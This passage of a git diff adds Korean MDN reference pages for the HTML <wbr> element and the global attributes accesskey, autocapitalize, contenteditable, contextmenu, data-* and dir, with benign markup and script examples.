+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="참고">참고</h2>
+
+<p>UTF-8 인코딩을 사용한 페이지의 <code>&lt;wbr&gt;</code>은 <code>U+200B</code><code> ZERO-WIDTH SPACE</code> 코드 포인트처럼 동작합니다. 특히, {{glossary("Unicode")}} bidi BN 코드 포인트처럼 행동하므로 {{glossary("bidi")}} 정렬의 영향을 받지 않습니다. 즉 <code>&lt;div dir=rtl&gt;123,&lt;wbr&gt;456&lt;/div&gt;</code>의 줄이 바뀌지 않은 경우, <code>456,123</code>이 아니라 <code>123,456</code>으로 나타납니다.</p>
+
+<p>같은 이유로 인해 <code>&lt;wbr&gt;</code> 요소로 인한 줄바꿈으로는 붙임표가 나타나지 않습니다. 줄의 끝에 하이픈이 필요한 경우 소프트 하이픈 문자 개체(soft hyphen character entity, <code>&amp;shy;</code>)를 사용하세요.</p>
+
+<p><code>&lt;wbr&gt;</code>은 Internet Explorer 5.5에서 처음 구현됐고, HTML5가 정식으로 정의했습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>URL의 줄을 바꿀 때, 문장 부호 다음에 잘린 경우 독자가 URL이 끝난 것으로 혼동할 수 있으므로, <em><a class="external" href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/">The Yahoo Style Guide</a></em>는 <a href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/editing/treat-abbreviations-capitalization-and-titles-consistently/website-names-and-addresses">URL의 줄바꿈을 문장 부호 이전에 하라</a>고 추천합니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;http://this&lt;wbr&gt;.is&lt;wbr&gt;.a&lt;wbr&gt;.really&lt;wbr&gt;.long&lt;wbr&gt;.example&lt;wbr&gt;.com/With&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-wbr-element', '&lt;wbr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-wbr-element', '&lt;wbr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.wbr")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("overflow-wrap")}}</li>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("hyphens")}}</li>
+ <li>{{htmlelement("br")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/accesskey/index.html b/files/ko/web/html/global_attributes/accesskey/index.html
new file mode 100644
index 0000000000..82cd6c49c3
--- /dev/null
+++ b/files/ko/web/html/global_attributes/accesskey/index.html
@@ -0,0 +1,139 @@
+---
+title: accesskey
+slug: Web/HTML/Global_attributes/accesskey
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+  - 단축키
+translation_of: Web/HTML/Global_attributes/accesskey
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>accesskey</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 현재 요소에 대한 키보드 단축키를 생성할 때 사용할 힌트를 제공합니다.</span> <code>accesskey</code> 속성의 값은 반드시 출력 가능한 단일 문자(키보드로 입력할 수 있는 글자)여야 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<div class="note">
+<p><strong>참고</strong>: WHATWG 명세는 <code>accesskey</code>의 값에 공백으로 구분한 여러 개의 문자를 사용할 수 있고, 브라우저는 그 중 지원하는 첫 번째 문자를 사용한다고 되어 있습니다. 하지만 대부분의 브라우저는 이렇게 동작하지 않습니다. 단, 다른 명령과 충돌하지 않는 경우, IE/Edge에서는 지원되는 첫 번째 문자를 문제 없이 사용합니다.</p>
+</div>
+
+<p>단축키를 활성화하는 방법은 브라우저와 플랫폼에 따라 다를 수 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th></th>
+   <th>Windows</th>
+   <th>Linux</th>
+   <th>Mac</th>
+  </tr>
+  <tr>
+   <th>Firefox</th>
+   <td colspan="2" rowspan="1" style="text-align: center;"><kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd></td>
+   <td>Firefox 57 이상에서는 <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd><em>key</em></kbd> 또는 <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd><br>
+    Firefox 14 이상에서는 <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd><br>
+    Firefox 13 이하에서는 <kbd>Control</kbd> + <kbd><em>key</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Internet Explorer</th>
+   <td rowspan="3" style="text-align: center;"><kbd>Alt</kbd> + <kbd><em>key</em></kbd><br>
+    <kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd></td>
+   <td colspan="2" rowspan="1" style="text-align: center;">없음</td>
+  </tr>
+  <tr>
+   <th>Edge</th>
+   <td style="text-align: center;">없음</td>
+   <td rowspan="3" style="text-align: center;"><kbd>Control</kbd> + <kbd>Option</kbd> + <kbd><em>key</em></kbd><br>
+    <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Google Chrome</th>
+   <td style="text-align: center;"><kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd><em>key</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Safari</th>
+   <td colspan="2" style="text-align: center;">없음</td>
+  </tr>
+  <tr>
+   <th>Opera 15+</th>
+   <td colspan="2" rowspan="1" style="text-align: center;"><kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+   <td><kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Opera 12</th>
+   <td colspan="3" rowspan="1"><kbd>Shift</kbd> + <kbd>Esc</kbd>를 통해 접근 가능한 단축키 목록을 열고, 그 중에서 <kbd>key</kbd>를 눌러 선택합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>accesskey</code> 특성은 빈약한 브라우저 지원을 포함해, 사용하기 전 고려해야 할 수많은 사항이 있습니다.</p>
+
+<ul>
+ <li><code>accesskey</code> 값은 시스템이나 브라우저 키보드 단축키 또는 보조 기술 기능과 충돌할 수 있습니다. 운영 체제, 보조 기술, 브라우저의 어떤 조합에서 동작하는 키가 다른 조합에서는 동작하지 않을 수 있습니다.</li>
+ <li>특정 <code>accesskey</code> 값은 특정 키보드에 존재하지 않을 수 있으며, 국제화가 중요한 경우 많은 키보드 종류로 인해 문제가 될 가능성이 커집니다. 따라서 특정 언어에 맞추는 것은 미래의 문제를 유발할 수 있습니다.</li>
+ <li>숫자에 의존하는 <code>accesskey</code> 값은, 해당 숫자와 그 동작에 연관성이 없는 경우 인지력 문제를 겪고 있는 사용자에게 혼란스러울 수 있습니다.</li>
+ <li>사용자에게 <code>accesskey</code>가 존재한다고 알리세요. 시스템에 해당 기능을 알리는 기능이 없다면, 사용자가 실수로 <code>accesskey</code>를 사용할수도 있습니다.</li>
+</ul>
+
+<p>이러한 문제로 인해, 일반적인 목적을 갖는 웹 사이트와 웹 앱에서는 <code>accesskey</code>를 사용하지 않는 것을 권장합니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/keyboard/accesskey#spec">WebAIM: Keyboard Accessibility - Accesskey</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>실제로 구현된 것에 대한 더 현실적인 동작 설명.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>최신 W3C {{SpecName('HTML5.1')}} 스펙으로부터 변경 사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>{{SpecName('HTML5 W3C')}} 로부터 변경 사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>{{SpecName('HTML4.01')}} 로부터, 일부 문자들은 <code>accesskey</code> 로 설정될 수 있음. 또한, 모든 엘리먼트에서 설정될 수 있음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "interact/forms.html#h-17.11.2", "accesskey")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("label") }}, {{ HTMLElement("legend") }}, {{ HTMLElement("textarea") }} 에서만 지원됨.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.accesskey")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Element.accessKey")}}</li>
+ <li>{{domxref("HTMLElement.accessKeyLabel")}}</li>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li><code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-keyshortcuts">aria-keyshortcuts</a></code></li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/autocapitalize/index.html b/files/ko/web/html/global_attributes/autocapitalize/index.html
new file mode 100644
index 0000000000..b0a42ef76a
--- /dev/null
+++ b/files/ko/web/html/global_attributes/autocapitalize/index.html
@@ -0,0 +1,47 @@
+---
+title: autocapitalize
+slug: Web/HTML/Global_attributes/autocapitalize
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+  - 자동 대문자화
+translation_of: Web/HTML/Global_attributes/autocapitalize
+---
+<p>{{HTMLSidebar("Global_attributes")}}</p>
+
+<p><span class="seoSummary"><code><strong>autocapitalize</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 사용자가 입력하거나 수정하는 텍스트를 자동으로 대문자로 바꾸는 방식을 제거하는 열거형 특성입니다.</span> 가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>off</code> 또는 <code>none</code>: 대문자로 변환하지 않음 (모든 문자의 기본값 소문자)</li>
+ <li><code>on</code> 또는 <code>sentences</code>: 각 문장의 첫 번째 문자는 기본값 대문자, 다른 모든 문자는 기본값 소문자</li>
+ <li><code>words</code>: 각 단어의 첫 번째 문자는 기본값 대문자, 다른 모든 문자는 기본값 소문자.</li>
+ <li><code>characters</code>: 모든 문자의 기본값 대문자</li>
+</ul>
+
+<p><code>autocapitalize</code> 특성은 물리적인 키보드에서 입력하는 경우 아무런 영향도 주지 않으며, 대신 음성 입력이나 모바일 장치의 가상 키보드 등, 문장 첫 글자를 자동으로 대문자로 변환해서 사용자를 돕곤 하는 방식에 영향을 줍니다. <code>autocapitalize</code> 특성을 사용하면 이런 동작을 HTML 작성자가 재정의할 수 있습니다.</p>
+
+<p><code>autocapitalize</code> 특성을 {{htmlattrxref("type", "input")}} 특성의 값이 <code>url</code>, <code>email</code>, <code>password</code>인 {{HTMLElement("input")}} 요소에 적용해도 자동 대문자 변환은 되지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#autocapitalization", "autocapitalize")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.autocapitalize")}}</p>
diff --git a/files/ko/web/html/global_attributes/contenteditable/index.html b/files/ko/web/html/global_attributes/contenteditable/index.html
new file mode 100644
index 0000000000..8c8d2fabb6
--- /dev/null
+++ b/files/ko/web/html/global_attributes/contenteditable/index.html
@@ -0,0 +1,76 @@
+---
+title: contenteditable
+slug: Web/HTML/Global_attributes/contenteditable
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/contenteditable
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>contenteditable</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 사용자가 요소를 편집할 수 있는지 나타내는 열거형 특성입니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-contenteditable.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>true</code> 또는 빈 문자열은 요소가 편집 가능함을 나타냅니다.</li>
+ <li><code>false</code>는 요소가 편집 불가능함을 나타냅니다.</li>
+</ul>
+
+<p>값 없이, <code>&lt;label contenteditable&gt;예제&lt;/label&gt;</code>처럼 사용할 경우 빈 문자열 값으로 간주합니다.</p>
+
+<p>특성이 없거나, 갑이 유효하지 않은 경우 부모 요소로부터 상속합니다. 즉, 부모 요소를 편집 가능한 경우 자신도 편집 가능합니다.</p>
+
+<p>가능한 값에 <code>true</code>와 <code>false</code>가 있긴 하지만, <code>contenteditable</code> 특성은 불리언 특성이 아닌 열거형 특성입니다.</p>
+
+<p>텍스트 삽입 시 표시되는 커서의 색은 CSS {{cssxref("caret-color")}} 특성으로 바꿀 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "editing.html#making-document-regions-editable-the-contenteditable-content-attribute", "contenteditable")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}, no change from {{SpecName("HTML5.1")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.contenteditable")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>{{domxref("HTMLElement.contentEditable")}}, {{domxref("HTMLElement.isContentEditable")}}</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/contextmenu/index.html b/files/ko/web/html/global_attributes/contextmenu/index.html
new file mode 100644
index 0000000000..819295f11b
--- /dev/null
+++ b/files/ko/web/html/global_attributes/contextmenu/index.html
@@ -0,0 +1,121 @@
+---
+title: contextmenu
+slug: Web/HTML/Global_attributes/contextmenu
+tags:
+  - Deprecated
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/contextmenu
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<div class="warning">
+<p><a href="https://html.spec.whatwg.org/multipage/obsolete.html#attr-contextmenu">contextmenu 특성은 폐기되었으며</a>, 모든 브라우저에서 제거될 것입니다.</p>
+</div>
+
+<p><code><strong>contextmenu</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 이 요소의 컨텍스트 메뉴로 사용될 {{HTMLElement("menu")}}의 <code><a href="/ko/docs/Web/HTML/Global_attributes/id">id</a></code>입니다.</p>
+
+<p>컨텍스트 메뉴는 마우스의 우클릭(right-click)과 같은 사용자 상호작용 중에 나타나는 메뉴를 말합니다. HTML5에서는 이 메뉴를 커스터마이징할 수 있습니다. 다음은 계층 메뉴(nested menu)를 포함한 구현 예제입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html; highlight:[1,10,15] notranslate">&lt;body contextmenu="share"&gt;
+  &lt;menu type="context" id="share"&gt;
+    &lt;menu label="share"&gt;
+      &lt;menuitem label="Twitter" onclick="shareViaTwitter()"&gt;&lt;/menuitem&gt;
+      &lt;menuitem label="Facebook" onclick="shareViaFacebook()"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+  &lt;/menu&gt;
+  &lt;ol&gt;
+    &lt;li&gt;
+      Anywhere in the example you can share the page on Twitter and
+      Facebook using the Share menu from your context menu.
+    &lt;/li&gt;
+    &lt;li contextmenu="changeFont" id="fontSizing"&gt;
+      On this specific list element, you can change the size of the text
+      by using the "Increase/Decrease font" actions from your context menu
+    &lt;/li&gt;
+    &lt;menu type="context" id="changeFont"&gt;
+      &lt;menuitem label="Increase Font" onclick="incFont()"&gt;&lt;/menuitem&gt;
+      &lt;menuitem label="Decrease Font" onclick="decFont()"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+    &lt;li contextmenu="ChangeImage" id="changeImage"&gt;
+      On the image below, you can fire the "Change Image" action
+      in your Context Menu.&lt;br /&gt;
+      &lt;img src="https://developer.mozilla.org/media/img/promote/promobutton_mdn5.png"
+          contextmenu="ChangeImage" id="promoButton" /&gt;
+      &lt;menu type="context" id="ChangeImage"&gt;
+        &lt;menuitem label="Change Image" onclick="changeImage()"&gt;&lt;/menuitem&gt;
+      &lt;/menu&gt;
+    &lt;/li&gt;
+  &lt;/ol&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush:js notranslate">function shareViaTwitter() {
+  window.open("https://twitter.com/intent/tweet?text=" +
+      "Hurray! I am learning ContextMenu from MDN via Mozilla");
+}
+
+function shareViaFacebook() {
+  window.open("https://facebook.com/sharer/sharer.php?u=" +
+      "https://developer.mozilla.org/en/HTML/Element/Using_HTML_context_menus");
+}
+
+function incFont() {
+  document.getElementById("fontSizing").style.fontSize = "larger";
+}
+
+function decFont() {
+  document.getElementById("fontSizing").style.fontSize = "smaller";
+}
+
+function changeImage() {
+  var index = Math.ceil(Math.random() * 39 + 1);
+  document.images[0].src =
+      "https://developer.mozilla.org/media/img/promote/promobutton_mdn" +
+      index + ".png";
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 400)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "interactive-elements.html#context-menus", "contextmenu")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.global_attributes.contextmenu")}}</p>
+
+<p>[1] An experimental implementation was originally available via the command line option <code>--enable-blink-features=ContextMenu</code>. Until Chrome 52 and Opera 39 it was additionally available by enabling the <em>Experimental Web Platform features</em> option, but got removed from that due to a <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=412945">Web compatibility issue</a>. In June 2017, it was removed entirely from the browsers. This is documented in <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=87553">Chrome bug 87553</a>.</p>
+
+<p>[2] Support for the <code>contextmenu</code> attribute has been removed from Firefox Mobile ({{bug(1424252)}}).</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a></li>
+ <li>{{domxref("HTMLElement.contextMenu")}}</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/data-_star_/index.html b/files/ko/web/html/global_attributes/data-_star_/index.html
new file mode 100644
index 0000000000..4aed70b1e4
--- /dev/null
+++ b/files/ko/web/html/global_attributes/data-_star_/index.html
@@ -0,0 +1,79 @@
+---
+title: data-*
+slug: Web/HTML/Global_attributes/data-*
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/data-*
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>data-*</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 <strong>사용자 지정 데이터 특성</strong>(custom data attributes)이라는 특성 클래스를 형성함으로써 임의의 데이터를 스크립트로 <a href="/ko/docs/Web/HTML" title="en/HTML">HTML</a>과 <a href="/ko/docs/Web/API/Document_Object_Model" title="en/DOM">DOM</a> 사이에서 교환할 수 있는 방법입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-data.html","tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>모든 사용자 지정 데이터는 해당 데이터를 지정한 요소의 {{domxref("HTMLElement")}} 인터페이스, {{domxref("HTMLElement.dataset", "dataset")}} 속성을 통해 사용할 수 있습니다. <code>data-*</code>의 <code>*</code>은 <a href="https://www.w3.org/TR/REC-xml/#NT-Name">XML 이름 생성 규칙</a>을 따르는 모든 이름으로 대체할 수 있습니다.</p>
+
+<ul>
+ <li>대소문자 여부에 상관없이 <code>xml</code>로 시작하면 안 됩니다.</li>
+ <li>세미콜론(<code>U+003A</code>)을 포함해서는 안 됩니다.</li>
+ <li>대문자를 포함해서는 안 됩니다.</li>
+</ul>
+
+<p>{{domxref("HTMLElement.dataset")}}은 {{domxref("DOMStringMap")}}이라는 점을 참고하세요. 사용할 땐, 예를 들어 <code>data-test-value</code>라는 이름의 특성을 지정했다면, 모든 대시(<code>U+002D</code>)는 다음 문자를 대문자로 만들고 자신은 사라지므로 <code>HTMLElement.dataset.testValue</code>로 접근할 수 있습니다.</p>
+
+<h3 id="용도">용도</h3>
+
+<p><code>data-*</code><strong> </strong>속성을 추가함으로써, 평범한 HTML 요소조차 복잡하고 강력한 프로그램 객체가 될 수 있습니다. 예컨대, 게임의 우주선 스프라이트는 단순한 {{htmlelement("img")}} 태그와 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class"><code>class</code></a> 특성, 그리고 여러 <code>data-*</code> 특성으로 나타낼 수 있습니다.</p>
+
+<pre class="brush: html">&lt;img class="spaceship cruiserX3" src="shipX3.png"
+  data-ship-id="324" data-weapons="laserI laserII" data-shields="72%"
+  data-x="414354" data-y="85160" data-z="31940"
+  onclick="spaceships[this.dataset.shipId].blasted()"&gt;
+</pre>
+
+<p>HTML 데이터 특성 사용법에 관한 보다 자세한 자습서는 <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes">데이터 특성 사용하기</a>를 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#element-attrdef-global-data", "data-*")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#element-attrdef-global-data", "data-*")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.global_attributes.data_attributes")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>데이터 특성 값에 접근하고 수정할 수 있는 {{domxref("HTMLElement.dataset")}} 속성.</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes">데이터 특성 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/dir/index.html b/files/ko/web/html/global_attributes/dir/index.html
new file mode 100644
index 0000000000..ae64e173b2
--- /dev/null
+++ b/files/ko/web/html/global_attributes/dir/index.html
@@ -0,0 +1,89 @@
+---
+title: dir
+slug: Web/HTML/Global_attributes/dir
+tags:
+  - BiDi
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/dir
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>dir</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소의 쓰기 방향을 나타내는 열거형 특성입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-dir.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>가능한 값은 다음과 같습니다.</p>
+
+<ul>
